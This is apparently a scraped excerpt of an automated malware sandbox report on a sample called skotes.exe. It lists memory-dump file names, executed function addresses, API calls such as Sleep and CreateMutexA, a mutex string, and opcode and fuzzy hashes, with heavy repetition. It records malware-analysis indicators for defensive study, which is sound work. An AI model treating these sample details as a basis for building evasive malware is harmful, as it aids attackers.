Associated: 00000003.00000002.2260373862.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260404797.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260434873.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260466364.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260490758.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260517228.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260539615.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260563369.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260637922.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260660766.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260686363.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260709668.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260730795.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260754021.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260774105.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"e$`'e
API String ID: 3903695350-2647440560
Opcode ID: 0739625414064321a302ce806620b62dbe40a8b1ed5af7b9e8ebb97ebffe173f
Instruction ID: 9ba7bb5b750b6cd6846220f86bdefed634325c7d7abfe799aea1448b86e91c4a
Opcode Fuzzy Hash: 0739625414064321a302ce806620b62dbe40a8b1ed5af7b9e8ebb97ebffe173f
Instruction Fuzzy Hash: 8F315B31600A21DFEB71AB79E845B9B77FAEF00352F10483DE845D6696DEB0AC808F55

Analysis Process: skotes.exePID: 7856, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	581
Total number of Limit Nodes:	4

Executed Functions

Function 0062652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0062652A,?,?,?,?,?,00627661), ref: 00626567

Memory Dump Source

Source File: 00000004.00000002.2262880807.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000004.00000002.2262854107.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262880807.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262954749.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262980082.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263002305.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263119495.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263142006.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263222375.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263245721.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263271215.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263298361.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263327529.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263349333.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263373152.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263397081.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263419462.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263442368.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263465463.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263487583.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263508789.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263534147.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263556940.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263580393.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263604491.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263626599.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263655080.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263678518.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263700925.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263724609.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263753280.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263774850.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263800650.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263883332.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263908121.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263931811.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263965502.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263988335.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264016680.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264057290.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 523c65315b2a55b6e59195d7e4375e16361a39bb53de8f44137945c60936d924
Instruction ID: 6bf98512b8a47eeb56a8a5dd69df789581a65b99e767bf6515c7b9065ba80198
Opcode Fuzzy Hash: 523c65315b2a55b6e59195d7e4375e16361a39bb53de8f44137945c60936d924
Instruction Fuzzy Hash: ADE08630000918AFCE367F55E8099983B6AEB41745F400804F9049A221CB75ED41CF50

Function 005F9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000004.00000002.2262880807.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000004.00000002.2262854107.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262880807.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262954749.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262980082.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263002305.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263119495.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263142006.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263222375.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263245721.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263271215.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263298361.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263327529.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263349333.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263373152.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263397081.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263419462.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263442368.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263465463.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263487583.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263508789.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263534147.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263556940.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263580393.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263604491.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263626599.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263655080.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263678518.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263700925.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263724609.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263753280.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263774850.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263800650.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263883332.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263908121.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263931811.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263965502.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263988335.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264016680.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264057290.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 2360ab67dc753ceafbbb617b84ac05d6405080fc751bfdf6e72c18b6ef16261f
Instruction ID: 40c2142cf0a7b302977c3cedd708d6007dcb3b6cf04d39006903179c216a0be4
Opcode Fuzzy Hash: 2360ab67dc753ceafbbb617b84ac05d6405080fc751bfdf6e72c18b6ef16261f
Instruction Fuzzy Hash: 67314C71704608CBEB08DB78DD85BBEBF62FB81314F208218E118973D6C7795A808766

Function 005F9A77 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000004.00000002.2262880807.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000004.00000002.2262854107.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262880807.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262954749.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262980082.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263002305.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263119495.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263142006.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263222375.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263245721.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263271215.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263298361.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263327529.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263349333.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263373152.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263397081.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263419462.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263442368.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263465463.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263487583.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263508789.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263534147.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263556940.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263580393.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263604491.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263626599.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263655080.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263678518.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263700925.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263724609.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263753280.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263774850.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263800650.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263883332.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263908121.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263931811.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263965502.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263988335.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264016680.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264057290.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: f3f9b2ecd54b09a2930382ddc2482819d54df34586ce1d23b60c6957e58db9e3
Instruction ID: 6cf91d33a9fba65f1a34f382ac5ae0f82dfb0885ff1e23c02d574febbaa89f5f
Opcode Fuzzy Hash: f3f9b2ecd54b09a2930382ddc2482819d54df34586ce1d23b60c6957e58db9e3
Instruction Fuzzy Hash: DE3159717045088BEB08DB68DDC97BEBF72FBC1314F204218E158973D6C77A5A808762

Function 005F9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000004.00000002.2262880807.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000004.00000002.2262854107.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262880807.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262954749.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262980082.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263002305.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263119495.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263142006.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263222375.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263245721.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263271215.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263298361.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263327529.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263349333.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263373152.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263397081.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263419462.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263442368.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263465463.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263487583.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263508789.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263534147.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263556940.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263580393.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263604491.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263626599.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263655080.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263678518.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263700925.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263724609.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263753280.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263774850.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263800650.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263883332.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263908121.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263931811.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263965502.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263988335.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264016680.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264057290.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 13a4d2ec08c99b30c11e83307513e5643f651672299467b609312772c13ddccc
Instruction ID: 768338861ed92d1e20a709b5ba29d9af48f6b14430b93535ae00b7053618efb7
Opcode Fuzzy Hash: 13a4d2ec08c99b30c11e83307513e5643f651672299467b609312772c13ddccc
Instruction Fuzzy Hash: 8A318C717002088BEB08DB78DD88BBEBB62FBC5310F204618E118D73C6DB7959808762

Function 005FA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000004.00000002.2262880807.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000004.00000002.2262854107.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262880807.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262954749.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2262980082.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263002305.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263119495.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263142006.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263169962.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263222375.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263245721.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263271215.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263298361.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263327529.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263349333.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263373152.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263397081.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263419462.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263442368.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263465463.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263487583.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263508789.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263534147.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263556940.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263580393.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263604491.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263626599.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263655080.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263678518.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263700925.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263724609.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263753280.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263774850.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263800650.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263822375.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263883332.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263908121.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263931811.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263965502.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2263988335.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264016680.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2264057290.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: ab2d0196ec8d94b24e0f044c71895c49465b8033d414c01da8a019281413b613
Instruction ID: 4ca2e565144251282d0e62e66bb58c449791b3a180409c5061c43e2244e3eca4
Opcode Fuzzy Hash: ab2d0196ec8d94b24e0f044c71895c49465b8033d414c01da8a019281413b613
Instruction Fuzzy Hash: BE316C717402089BEB08DB78DD88B7EBB77EB81314F204618E118973D5CB7A5980C767

Function 005FA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

